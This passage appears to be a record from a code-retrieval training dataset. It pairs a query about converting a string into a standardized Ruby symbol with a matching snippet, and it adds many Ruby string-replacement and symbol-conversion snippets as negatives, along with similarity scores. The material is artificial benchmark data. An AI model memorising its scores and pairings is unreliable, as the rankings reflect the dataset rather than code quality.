replaceAll(oldStr,newStr)\n while @container.index(oldStr)!=nil\n repStr = String.new(oldStr)\n if(@container.index(oldStr)==0)\n str1=\"\"\n else\n str1=@container[0..@container.index(oldStr)-1]\n end\n \n str2=@container[@container.index(oldStr)+oldStr.length..@container.length]\n \n if(newStr!=\"\")\n repStr.replace(newStr)\n @container=str1+repStr+str2\n else\n @container=str1+str2\n end\n end\n return @container \n end", "def bite!(aValue=$/,aString=self)\n\t\tif aValue.is_a? String\n\t\t\tif aString[0,aValue.length] == aValue\n\t\t\t\taString[0,aValue.length] = ''\n\t\t\t\treturn aString\n\t\t\telse\n\t\t\t\treturn aString\n\t\t\tend\n\t\telsif aValue.is_a? Regexp\n\t\t\treturn aString.sub!(aValue,'') if aString.index(aValue)==0\n\t\telse\n\t\t\treturn aString\n\t\tend\n\tend", "def replace(filter = '')\n q(filter) { |e| e.replace(@strings.values) }\n self\n end", "def force_strip(str)\n str[0] = \"\"\n end", "def replace(s)\n s.gsub(/[AEIOUaeiou]/, \"!\")\nend", "def clear(str)\n end", "def sweetist_safe_string(string)\n string.nil? ? \"\" : string.gsub(/'/, {\"'\" => \"\\\\'\"})\n end", "def replace_strings(str, rhash)\n s = str.to_s\n return s if ! (s && rhash)\n \n rhash.each do |k,v|\n s.gsub!(k.to_s, v.to_s)\n end \n s\n end", "def replace_strings(str, rhash)\n s = str.to_s\n return s if ! (s && rhash)\n \n rhash.each do |k,v|\n s.gsub!(k.to_s, v.to_s)\n end \n s\n end", "def new_word(s)\n\ts[0] = ''\n\treturn s\nend", "def replace(val = NULL)\n replaces << val\n replaces.dup\n end", "def replace(val = NULL)\n replaces << val\n replaces.dup\n end", "def check_string(string)\n string.empty? ? nil : string\n end", "def replace_nils replacement\n self.dup.replace_nils!(replacement)\n end", "def replace_null(value)\n return 'U' if value.nil?\n\n value\nend", "def reset(str = T.unsafe(nil)); end", "def replace_using(tag, string)\n Tags[tag][1] = string\n end", "def gsub(*)\n self\n end", "def replace_string_inside_node!(search_string_or_regex, replace_string, xn)\n if xn.text? && '' != xn.text && !xn.text.nil?\n xn.content = xn.text.gsub(search_string_or_regex, replace_string)\n else\n xn.children.each { |child_xn|\n replace_string_inside_node!(search_string_or_regex, replace_string, child_xn)\n }\n end\n end", "def remove(input, string); end", "def cleanup(str)\n str\n end", "def clean_str(mystring)\n if mystring.nil? then\n\t return nil\n\t end\n if mystring.include? \" \" then\n return fix_str(mystring)\n else\t \n\t return mystring.gsub(/@value=\"/,'').gsub(/>/,'')\n end\t\t \nend", "def replace_char(string, char, replacer)\n output = \"\"\n i = 0\n while i < string.length\n if string[i] != char\n output += string[i]\n else\n output += replacer\n end\n i += 1\n end\n return output\nend", "def do_replacement match, replacement, restore\n if (captured = match[0]).include? RS\n # we have to use sub since we aren't sure it's the first char\n captured.sub RS, ''\n else\n case restore\n when :none\n replacement\n when :bounding\n %(#{match[1]}#{replacement}#{m[2]})\n else # :leading\n %(#{match[1]}#{replacement})\n end\n end\n end", "def variable!(string)\n string.replace(variable(string))\n end", "def replace(string, sym1, sym2)\n i = 0\n while i < string.length\n if string[i] == sym1\n string[i] = sym2\n end\n i += 1\n end\n return string\nend", "def replace!(regexp, string, force)\n return if base.options[:pretend]\n content = File.binread(destination)\n if force || !content.include?(replacement)\n content.gsub!(regexp, string)\n File.open(destination, \"wb\") { |file| file.write(content) }\n end\n end", "def rep(original, new)\n # making sure we don't try substituting nil objects or for nil objects\n\toriginal=(original==nil)? \"\":original\n new=(new==nil)? \"\":new\n \n\ttemp=self.inner_html\n self.inner_html=temp.gsub(original, new)\n self\n end", "def say_goodbye\n str = \"Hello\"\n abc = str\n str.replace(\"Goodbye\")\n puts str\n puts abc\nend", "def noop(word)\n word\n end", "def regex_replace(string, search, replace)\n return string.gsub(/#{search}/m, replace)\n end", "def clean_string(input)\r\n unless input.nil?\r\n input = input.to_s.gsub(/^[\\s]+|[\\s]+$/, \"\")\r\n end\r\n return input\r\n end", "def replace(word, letter, ind)\n (word[0...ind] || '') << letter << (word[ind+1..-1] || '')\nend", "def exc_delete(str)\n\tstr.gsub(/[!]/, \"!\" => \" \")\nend", "def char_replace!(str, hash)\n\n str.each_char.with_index do |char, idx|\n if hash.has_key?(char)\n str[idx] = hash[char]\n else\n str[idx] = char\n end\n end\n\n str\nend", "def replace!(regexp, string)\n unless base.options[:pretend]\n content = File.read(destination)\n content.gsub!(regexp, string)\n File.open(destination, 'wb') { |file| file.write(content) }\n end\n end", "def gsub(pattern, replacement = nil, &blk)\n if block_given?\n @string.gsub(pattern, &blk)\n else\n @string.gsub(pattern, replacement)\n end\n end", "def gsub(pattern, replacement = nil, &blk)\n if block_given?\n @string.gsub(pattern, &blk)\n else\n @string.gsub(pattern, replacement)\n end\n end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'pumpkinsrutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def remove(s)\n s.gsub(/!/, '').concat(\"!\")\nend", "def rsstrip!(str)\n str = Regexp.quote(str)\n self.gsub!(/(#{str})+$/, '')\n end", "def prepend(input, string); end", "def sstrip!(str)\n str = Regexp.quote(str)\n self.gsub!(/^(#{str})+|(#{str})+$/, '')\n end", "def replace_char(string, remove, add)\n i = 0\n output = \"\"\n while i < string.length\n if string[i] == remove\n output << add\n else\n output << string[i]\n end\n i += 1\n end\n return output\nend", "def if_nil(argument)\n if argument == nil \n \"\"\n else\n argument\n end\n end", "def unify_string str\n\t\t\t@strings_dictionary[str] ||= str\n\t\tend", "def no_location(input)\n if input\n if input=='none'\n ''\n else\n input.upcase+', '\n end\n end\n end", "def replace_child(to_replace, replacement); end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def switcheroo(x)\n x.gsub(/[ab]/, 'a' => 'b', 'b' => 'a')\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabega')\n an_array_param = ['pumpkins', 'rutabega']\nend", "def string_message2(string)\n return \"It's an empty string!\" if string.empty?\n return \"The string is nonempty.\"\n end", "def replace_blank_space(input_string)\n\t\tcurrent_index = 0\n\t\tback_of_string = input_string.length - 1\n\n\t\twhile current_index < back_of_string\n\t\t\tif input_string[current_index] == \" \"\n\t\t\t\tinput_string[current_index] = \"%20\"\n\t\t\tend\n\t\t\t\tcurrent_index += 1\n\t\t\t\t#back_of_string needs to update to represent new size of input_string size\n\t\t\t\tp back_of_string = input_string.length - 1\n\t\tend\n\treturn input_string\nend", "def replace(string, chr, replace)\n i = 0\n output = \"\"\n while i < string.length\n if string[i..i+chr.length-1] != chr\n output += string[i]\n i += 1\n else \n output += replace\n i += chr.length\n end\n \n end\n return output\nend", "def fix(value)\n value.concat('!')\n value = value.upcase\n value << 'xyz'\nend", "def replace_newlines(s)\n (s || \"\").gsub('\\n', \"\\n\") # single quoted strings in Ruby are literals, double quoted are escaped\n end", "def search_replace\n print (\"Enter a string for manipulation: \")\n string = gets.chomp.to_s\n print (\"Enter the word to replace: \")\n search = gets.chomp.to_s\n print (\"Enter the replacement character: \")\n newWord = gets.chomp.to_s\n words = string.split(\" \").to_a\n for word in words.each\n if word == search\n word.replace(newWord)\n else\n puts (\"No matching word found.\")\n end\n end\n string = words.join(\" \").to_s\n puts (string)\nend", "def dostr\n return <<EOS\ns=<<ES\n#{@dostr.gsub(/_REMOVE_/,'')}\nES\nEOS\n end", "def replaceAllRefsButParams(str)\n\t return nil if str.nil?\n\t copy = NQXML.replaceCharacterRefs(str)\n\t copy = NQXML.replacePredefinedEntityRefs(copy)\n\t return replaceOnlyEntityRefs(copy)\n\tend", "def replace_str(str, substr, replacement)\n output = \"\"\n i = 0\n substrlength = substr.length\n while i < str.length\n if str[i, substrlength] == substr\n output << replacement\n i += substrlength\n else\n output += str[i]\n i += 1\n end\n end\n return output\nend", "def fix(value)\n value << 'xyz'\n value = value.upcase\n value.concat('!')\nend", "def replace_string_eol\n buffer.ask 'Replace selection with: ' do |answer, action|\n case action\n when :attempt\n if !answer.empty?\n replace_string_eol!(answer)\n :abort\n else\n buffer.warn 'replacement required'\n end\n end\n end\n end", "def cleanup(string)\n string.gsub!(/^--- $/, \"\")\n end", "def replace_in_string(str, replace, start, finish)\n str[start..finish] = replace * (finish + 1 - start)\n str\n end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\n end", "def string=(arg0)\n end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param.gsub!('pumpkins', 'rutabaga')\n an_array_param = ['pumpkins', 'rutabaga']\n end", "def strip(str); end", "def sub!(*args, &block)\n str = self.sub(*args, &block)\n if str != self\n self.replace(str)\n self\n else\n nil\n end\n end", "def replace!(str)\n re = Regexp.union(TRIGRAPHS.keys);\n str.gsub!(re) { |m| TRIGRAPHS[m.to_s] } \n end", "def replace!(new_value)\n @value = normalize(new_value)\n end" ]
[ "0.78981394", "0.7640082", "0.7181888", "0.6774371", "0.66569054", "0.6484923", "0.64385533", "0.64264363", "0.64108145", "0.63817817", "0.6263712", "0.6263712", "0.62627834", "0.6188827", "0.6122005", "0.6114763", "0.6069158", "0.60131556", "0.59598213", "0.5958111", "0.5955352", "0.5909675", "0.58973753", "0.58811086", "0.58316714", "0.58224314", "0.5822032", "0.5821963", "0.58139706", "0.57769877", "0.5759849", "0.57216823", "0.566787", "0.56464154", "0.56464154", "0.56454796", "0.5640721", "0.5640721", "0.5635618", "0.56304634", "0.56199753", "0.5615133", "0.56131464", "0.5611407", "0.5591692", "0.55759794", "0.5574994", "0.5572456", "0.5563259", "0.55523515", "0.5538394", "0.5522062", "0.5508773", "0.55052704", "0.5503362", "0.5502982", "0.5501204", "0.5484932", "0.5439382", "0.5434056", "0.54196304", "0.5415716", "0.54134464", "0.54134464", "0.5411712", "0.5409595", "0.53860277", "0.5385406", "0.53840345", "0.53765136", "0.5375953", "0.53758466", "0.5374921", "0.53747565", "0.5371788", "0.5371788", "0.5371788", "0.5371788", "0.53626275", "0.5362456", "0.5355997", "0.53546727", "0.5332031", "0.5323404", "0.5306716", "0.53065103", "0.53034705", "0.53005654", "0.5279431", "0.52791727", "0.5274364", "0.52739847", "0.52676004", "0.5265016", "0.5243405", "0.5236904", "0.52335835", "0.5230375", "0.5223677", "0.5218538" ]
0.61228013
14
Converts a string into a standard symbol. While Symbol class objects can be created from any string, it is good practice to keep symbols free of whitespaces and weird characters, so that the are typed easily, usable as variable names etc. This method thus removes punctuation, removes superfluous spaces, and underscores the remaining ones, before returning the string.
def standardize ς = self.dup ",.;".each_char { |c| ς.gsub! c, " " } ς.stripn .squeeze(" ") .underscore_spaces end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_symbol from_string\n return from_string.strip.gsub(\".\", \"_\").to_sym\n end", "def to_symbol(string)\n string.gsub(/[\\-_]/, '').to_sym\n end", "def clean(sym)\n sym.to_s.gsub(/\\W/, '_')\n end", "def symbolize(s)\n s.to_s.gsub(/\\s+/,\"_\").gsub(/\\W+/,\"\").downcase.to_sym\n end", "def symbolize(str)\n str.downcase.gsub(/\\ /, \"_\").gsub(/[^a-z_]/, \"\").to_sym\nend", "def strip_symbols(name)\n return name.to_s.gsub(/[[:punct:]]/, '')\n end", "def strip_to_sym strIn\r\n return strIn[1].to_sym\r\n end", "def normalize(s)\n s.to_s.gsub(/[^[:alpha:]_-]/, \"-\").mb_chars.downcase.to_sym\n end", "def to_symbol(str)\n case str\n when /'/\n \":'\" + str.to_s.gsub(\"'\"){ \"\\\\'\" } + \"'\"\n else\n ':' + str.to_s\n end\n end", "def normalise(string)\n string.capitalize.gsub(/\\s+/, '').to_sym\n end", "def conform_to_symbol(text_or_symbol)\n underscore(text_or_symbol.to_s).downcase.to_sym\n end", "def symbolize_text(text)\n text.downcase.gsub(' ', '_').gsub('.', '').to_sym\n end", "def to_standardized_sym\n standardize\n .to_sym\n end", "def asm_symbol(s)\n sa = Word[s]\n return sa if !sa.nil?\n a = ['']\n s.each_char do |c|\n g = Graph[c]\n if g.nil?\n a[-1] << c\n else\n # graph char found\n if g != ''\n if a[-1] == ''\n a[-1] << g\n a << ''\n else\n a << \"#{g}\"\n a << ''\n end\n end\n end\n end\n if a[-1] == ''\n a.pop\n end\n a.join('_').downcase\n end", "def sanitize_char(str)\n str = str.to_s\n src = Sanscript.detect(str) || :iast\n str = Sanscript.transliterate(str, src, :kh)\n str.gsub!(/\\s/, \"_\")\n str.tr!(\"'\", \"`\")\n str.strip!\n str\n end", "def normalize_punctuation(str)\n s = str.dup\n s.gsub! /\\s+/, ' '\n\n s.gsub(/\\s*&,/)\n\n # Collapse w/s around all\n s.gsub! /\\s*([:,&.;])\\s*/, '\\1'\n # Collapse consecutive dupes\n s.gsub! /([.,;&:])+/ , '\\1'\n\n # Collapse leading and trailing punctuation\n s.gsub! /^\\s*[,:&;.]|[.;&:,]\\s*$/, ''\n\n # Add whitespaces\n s.gsub! /([,.;:])(\\S)/, '\\1 \\2'\n s.gsub! /(\\S)([&])(\\S)/, '\\1 \\2 \\3'\n\n s.strip!\n s\n end", "def symbolize\n return :empty if self.empty?\n return self.downcase.gsub(\" \", \"_\").to_sym\n end", "def underscore(str) # :doc:\n str.to_s. # allow symbols and strings\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2'). # underscore-delimit caps\n gsub(/([a-z\\d])\\s?([A-Z])/, '\\1_\\2'). # underscore-delimit words\n tr(\"-\", \"_\"). # dashes to underscores\n downcase. # everything lowercase\n to_sym # convert to symbol\n end", "def normalize_word(word)\n word.to_s.to_sym\n end", "def clean_str(str)\n str = str.gsub(/[^\\w\\s]/, '').downcase\n str.gsub(/[\\s]+/, '_')\n end", "def css_to_sym(str)\n str.gsub('-','_').to_sym\n end", "def clean(s)\n @cleaned = String.new(s)\n tokenize(@cleaned)\n @cleaned.gsub!(/[.,\\d]*\\d/, '<NUM>')\n @cleaned.gsub!(/[^a-zA-Z0-9,.;:<>\\-'\\/$% ]/, '')\n @cleaned.gsub!('--', ' ')\n @cleaned = @cleaned.split\n end", "def symbolize(string)\n string.split.map(&:downcase).map(&:to_sym)\n end", "def symbol(string)\n Types::Symbol.cast(string)\n end", "def cleanup(str)\n str.gsub(/\\W+/,' ')\nend", "def name_cleaner(raw_string)\n return raw_string.gsub(/[^A-Za-z0-9_\\-\\.]/, '_')\n end", "def slugify(str)\n str.gsub(/\\W/, '_')\n end", "def spacify(str)\n # str.chars.map { |c| c += ' '}.join.rstrip\n str.gsub(/\\w/) {|s| s + ' '}.rstrip\nend", "def clean(s)\n @cleaned = String.new(s)\n tokenize(@cleaned)\n @cleaned.gsub!(/[.,\\d]*\\d/, '<NUM>')\n @cleaned.gsub!(/[^a-zA-Z0-9,.;:<>\\-'\\/$% ]/, '')\n @cleaned.gsub!('--', ' ')\n @cleaned = @cleaned.split\n end", "def underscore_string(str)\n word = str.to_s.dup\n word.gsub!(' ', '_')\n word.gsub!(/::/, '/')\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/,'\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n word.tr!('-', '_')\n word.squeeze!('_')\n word.downcase!\n word\n end", "def underscore(str)\n str = str.to_s\n str = str[0].downcase + str[1...str.length].gsub(/([A-Z]+)/) { |m| \"_#{m.downcase}\" }\n str.to_sym\n end", "def cleanup(str)\n str.gsub(/\\W+/, ' ')\nend", "def remove_punctuation(str)\n str.gsub(/[^0-9A-Za-z]/, '')\n end", "def clean_up_punctuation(str)\n str.gsub(%r{[^A-Za-z\\d\\_\\:\\/]}, '')\n end", "def str_to_sym(data); end", "def str_to_sym(data); end", "def fix_string(input_string)\n input_string.delete! '_'\n input_string.delete! '-'\n input_string.delete! ' '\n input_string.downcase!\n return input_string.singularize\n end", "def underscore_string(str)\n str.to_s.strip.\n gsub(' ', '_').\n gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n squeeze(\"_\").\n downcase\n end", "def cleanup(string)\n string.gsub!(/\\W+/, ' ')\nend", "def keyify(str)\n str.gsub(' ','_').downcase.to_sym\n end", "def to_underscore(s)\n s.gsub(/\\.|\\-/, '__')\n end", "def clean(str)\n # remove any underscores\n $temp = str.gsub(\"_\", \" \")\n $temp = $temp.gsub(/^[a-z]|\\s+[a-z]/) { |a| a.upcase }\n end", "def clean(str)\n # remove any underscores\n $temp = str.gsub(\"_\", \" \")\n $temp = $temp.gsub(/^[a-z]|\\s+[a-z]/) { |a| a.upcase }\n end", "def sanitize(s)\n sani = \"\"\n s.each_byte do |c|\n if (c == 32 || (c >= 48 && c <= 57) || (c >= 65 && c <= 90) || (c >= 97 && c <= 122))\n sani += c.chr\n end\n end\n sani.gsub!(' ', '_')\n sani\nend", "def normalize(str) return str end", "def to_sym\n \tname.downcase.gsub(/\\s+/, \"_\").to_sym\n end", "def fix_characters(string)\n string = string.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')\n characters = { nbsp => \" \",\n \"\\u0093\" => \"ž\",\n \"\\u0092\" => \"'\",\n \"\\u0096\" => \"–\",\n / {2,}/ => \" \" }\n characters.each { |c, r| string.gsub!(c, r) }\n string.strip\n end", "def normalize( text )\n text.gsub(/\\s/,'').gsub(/[[:punct:]]/, '').gsub(/\\p{S}/,'').downcase\nend", "def regex_strip(string)\n return string.gsub(/[^\\p{L}\\p{N}]/u, \" \")\n end", "def normalize(str) \n str.gsub(/\\W/, '').upcase #.gsub(/\\s(\\d+)\\s/, '')\n end", "def clean_string(string)\n string.gsub(/\\W+/, '')\nend", "def normalize(string)\n return string.mb_chars.normalize(:kd).downcase.gsub(/[^\\x20 | ^\\x61-\\x7A]/,'').split.sort.join(\" \").to_s\n end", "def sanitise(str)\n str.gsub(/[^a-zA-Z0-1]+/, \"_\")[0, 20]\n end", "def underscore(string)\n word = string.to_s.dup\n word.gsub!(/::/, '/')\n word.gsub!(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n word.tr!(\"-\", \"_\")\n word.downcase!\n word\n end", "def cfn_safe(string)\n string.gsub(/[\\W_]/, '-')\n end", "def cleanup(str)\n str.gsub(/[^a-zA-Z]+/, ' ')\nend", "def underscore(s)\n s.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end", "def sensu_safe(string)\n string.gsub(/[^\\w\\.-]+/, '_')\n end", "def clean_chars(options = {})\n str = self\n str = str.gsub(',', ' ') unless options[:keep_commas]\n str = str.gsub('.', ' ') unless options[:keep_periods]\n str = str.gsub(/ +/, ' ')\n str = str.strip\n\n str = str.split('').map do |char|\n char if char.normal_char?\n end.compact.join\n\n str = str.gsub(/ +/, ' ').strip\n str\n end", "def cleanup_new(string)\n string.tr(' -/:-@[-`{-~',' ')\nend", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def convert_input(string)\n ActiveSupport::Inflector.transliterate(string).strip().tr(\" \", \"+\")\n end", "def remove_punctuation(str)\n alpha = 'abcdefghijklmnopqrstuvwxyz '\n output_str = ''\n \n str.each_char do |char|\n if alpha.include?(char)\n output_str += char\n end\n end\n\n output_str\nend", "def to_sym() end", "def to_sym() end", "def to_sym() end", "def sym(position)\n return position if position.is_a? Symbol\n position.gsub(/\\s/, '_').to_sym\n end", "def cleanup(str)\n # str.gsub!(/[^a-z]/, ' ').squeeze(' ')\n str.tr_s(' -/:-@[-`{-~', ' ')\nend", "def normalize(token)\n token.gsub(/\\W/, '').downcase\n end", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def product_punctuation(str)\nend", "def underscore_string(str)\n str.to_s.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end", "def to_external(str)\n str.to_s.tr('_', '-')\n end", "def string_normalizer(string)\n string.downcase.gsub(/[^0-9a-z ]/i, '')\n end", "def SimpleSymbols(str)\n return false if !str.index(/[A-Za-z]/) or str.empty?\n str.gsub!(/(\\+[A-Za-z])+\\+/,'')\n return false if str.index(/[A-Za-z]/)\n return true\nend", "def punctuation\n @input = @input.gsub(/\\p{P}/u, '')\n end", "def clean_str(word)\n word.gsub(/[^\\w]/, '').downcase\n end", "def cleanup string\n string.gsub(/\\W|\\d/, ' ').gsub(/\\ (?=\\ )/, '')\nend", "def symbolize!\n return replace(symbolize)\n end", "def convert_naming_convention(a_string)\n a_string.to_sym\n end", "def cleaner(str,char_to_clean = CHAR_CLEAN)\n case char_to_clean\n when \"numbers\"\n clean_str = str.gsub(/\\d/,\"\").downcase\n when \"non-word\"\n clean_str = str.gsub(/\\W/,\"\").downcase\n when \"both\"\n clean_str = str.gsub(/\\d/,\"\").gsub(/\\W/,\"\").downcase\n else\n # Remove nothing but still downcase.\n clean_str = str.downcase\n end\n # Remove any spaceing characters.\n clean_str.gsub!(/\\s/,\"\")\n return clean_str \n end", "def remove_formatting(str)\n Name.clean_incoming_string(str.gsub(/[_*]/, ''))\n end", "def bin_sym\n @underscored_name ||= name.split('::').last.gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').downcase.to_sym\n end", "def to_s\n if SUIT_UNICODE_OK \n return self.unicode\n else\n return self.symbol\n end \n end", "def titleize_symbol symbol\n title = symbol.to_s.split('_')\n title.each { |word| word.capitalize! }.join(' ')\nend", "def cleanup(str)\n new_string = []\n characters = ['-', \"'\", '+', '*', '&', '?']\n str.chars.each do |c|\n characters.include?(c) ? new_string << ' ' : new_string << c\n end\n new_string.join.squeeze\nend", "def to_nothing(s)\n s.gsub(/\\.|\\_|\\-/, '')\n end", "def constantize(s)\n s.to_s.split('_').map(&:capitalize).join.to_sym\n end", "def product_punctuation(str)\n\nend", "def underscore(string)\n string\n .to_s\n .gsub(/::/, \"/\")\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .tr(\"-\", \"_\")\n .downcase\n end", "def strip_diacritics(string)\n ActiveSupport::Multibyte.proxy_class.new(string).normalize(:kd).unpack('U*').inject([]) { |a, u| \n if ASCII_APPROXIMATIONS[u]\n a += ASCII_APPROXIMATIONS[u].unpack('U*')\n elsif (u < 0x300 || u > 0x036F)\n a << u\n end\n a\n }.pack('U*')\n end", "def cleanup(string)\n string.gsub(/[\\W\\d]/, ' ').gsub(/\\s+/, ' ')\nend", "def underscore(camel_cased_word)\n return camel_cased_word unless camel_cased_word =~ /[A-Z-]|::/\n word = camel_cased_word.to_s.gsub(/::/, '/')\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/, '\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n word.tr!('-', '_')\n word.downcase!\n word.to_sym\n end", "def strip_punctuation(word)\n punctuation_stripping_regexp = /(.+)([^.,?!-_+=@#$%^&*()])/\n word.match(punctuation_stripping_regexp).to_s\nend", "def underscore(string)\n string.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end", "def shellescape(str)\n Util.shellescape(str)\n end", "def to_sym!\n self.keys.each do |key| \n self[key.to_sym] = self.delete key if key.class == String\n end\n return self\n end", "def hashify(string)\n string.to_s.underscore.to_sym\nend", "def strip_non_word_characters!\n @raw.gsub!(/[^\\w\\ \\-.,]/, ' ')\n end" ]
[ "0.72477216", "0.7233864", "0.6829905", "0.6685653", "0.6522683", "0.651278", "0.6493524", "0.64908737", "0.6216994", "0.6163831", "0.6108692", "0.608901", "0.60773325", "0.5976306", "0.5935041", "0.59102017", "0.5883745", "0.5811483", "0.58094615", "0.579811", "0.57681835", "0.573574", "0.5711347", "0.5681763", "0.5651027", "0.5645608", "0.5598955", "0.5583701", "0.55815715", "0.5576959", "0.5568763", "0.55371624", "0.5530048", "0.5518379", "0.55008537", "0.55008537", "0.5484748", "0.5483936", "0.54788715", "0.5463148", "0.54566073", "0.54552156", "0.54542863", "0.54513955", "0.5442869", "0.5434834", "0.54329705", "0.541341", "0.54050756", "0.53995407", "0.5399256", "0.53986377", "0.5398627", "0.5392591", "0.53787476", "0.53575414", "0.5351708", "0.5337703", "0.5329323", "0.5320398", "0.53099406", "0.53091246", "0.5290321", "0.5284214", "0.5284214", "0.5284214", "0.52585083", "0.52524024", "0.52412665", "0.52354324", "0.52354324", "0.52354324", "0.5231179", "0.522835", "0.522354", "0.5199619", "0.5197331", "0.51902825", "0.51898056", "0.5175763", "0.5162331", "0.51557714", "0.51498926", "0.5149007", "0.51464003", "0.5144554", "0.51392823", "0.5138823", "0.51367897", "0.5133481", "0.5127444", "0.51238936", "0.51104033", "0.51102287", "0.5110212", "0.5109455", "0.51018655", "0.50960815", "0.50870514", "0.5085575", "0.50838536" ]
0.0
-1
Applies standardize to the receiver and converts the result to a symbol.
def to_standardized_sym standardize .to_sym end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_sym() end", "def to_sym() end", "def to_sym() end", "def to_sym\n return super unless @to_s_sym\n value = self.to_s\n return value.nil? ? value : value.to_sym\n\t\tend", "def conform_to_symbol(text_or_symbol)\n underscore(text_or_symbol.to_s).downcase.to_sym\n end", "def symbolize!\n return replace(symbolize)\n end", "def to_sym; end", "def symbolize\n return :empty if self.empty?\n return self.downcase.gsub(\" \", \"_\").to_sym\n end", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def to_s \n self.symbol\n end", "def accept(evaluator)\n evaluator.symbol(self)\n end", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def turn_symbol_into_string(symbol)\n symbol.to_s\nend", "def to_s\n return self.symbol\n end", "def str_to_sym(data); end", "def str_to_sym(data); end", "def to_sym\n self\n end", "def to_s\n \"#{symbol}\"\n end", "def to_s\n\t\t\t@to_s_sym ? self.__send__(@to_s_sym) : super\n\t\tend", "def symbolize\n self.collect {|value| value.respond_to?(:symbolize) ? value.symbolize : value }\n end", "def to_sym\n self\n end", "def turn_symbol_into_string(symbol)\n\tn = :foobar\n\tn.to_s\nend", "def to_sym\n to_s.to_sym\n end", "def normalize(s)\n s.to_s.gsub(/[^[:alpha:]_-]/, \"-\").mb_chars.downcase.to_sym\n end", "def to_symbol from_string\n return from_string.strip.gsub(\".\", \"_\").to_sym\n end", "def to_sym\n @name&.to_sym\n end", "def lookup_sym_attribute (attname, workitem, options={})\n\n result = lookup_downcase_attribute(attname, workitem, options)\n result = result.to_sym if result\n result\n end", "def to_sym\n to_s.to_sym\n end", "def to_symbol(string)\n string.gsub(/[\\-_]/, '').to_sym\n end", "def to_proc\n to_sym.to_proc\n end", "def convert_symbols_to(formula = nil, &block)\n XMLKey.symbol_converter = formula ? formula : block\n end", "def to_sym\n `return $rb.Y(self);`\n end", "def to_sym\n `return $opal.Y(self);`\n end", "def to_s\n if SUIT_UNICODE_OK \n return self.unicode\n else\n return self.symbol\n end \n end", "def humanize(symbol)\n human_attr = symbol.to_s.split('_').map(&:capitalize).join(' ')\n end", "def sym\n @sym\n end", "def symbolize(s)\n s.to_s.gsub(/\\s+/,\"_\").gsub(/\\W+/,\"\").downcase.to_sym\n end", "def to_sym\n @name.to_sym\n end", "def cast(sym)\n Cast.new(self, sym)\n end", "def sym\n @name.to_sym\n end", "def to_symbol\n case node\n in SyntaxTree::Label[value:]\n value.chomp(\":\").to_sym\n in SyntaxTree::SymbolLiteral[value: SyntaxTree::Ident[value:]]\n value.to_sym\n in SyntaxTree::SymbolLiteral[value:]\n raise CompilationError, \"Unexpected symbol value type: #{value.inspect}\"\n else\n raise CompilationError, \"Unexpected node type: #{node.class.name}\"\n end\n end", "def to_sym\n name = self.underscore.gsub(\"bodhi::\", \"\").gsub(\"_validator\", \"\")\n Bodhi::Support.reverse_camelize(name).to_sym\n end", "def to_s\n to_sym.to_s\n end", "def to_sym\n \tname.downcase.gsub(/\\s+/, \"_\").to_sym\n end", "def cast(sym, *args)\n @cast = [sym, args]\n end", "def normalize_word(word)\n word.to_s.to_sym\n end", "def +(other)\r\n\t\treturn (self.to_s + other.to_s).to_sym\r\n\tend", "def to_sym\n @name\n end", "def sym(position)\n return position if position.is_a? Symbol\n position.gsub(/\\s/, '_').to_sym\n end", "def to_s\n to_symbol.to_s\n end", "def to_sym\n nil\n end", "def to_sym\n nil\n end", "def to_sym\n nil\n end", "def to_sym\n nil\n end", "def coerce_type_to_symbol\n @type = @type.to_sym\n end", "def strip_to_sym strIn\r\n return strIn[1].to_sym\r\n end", 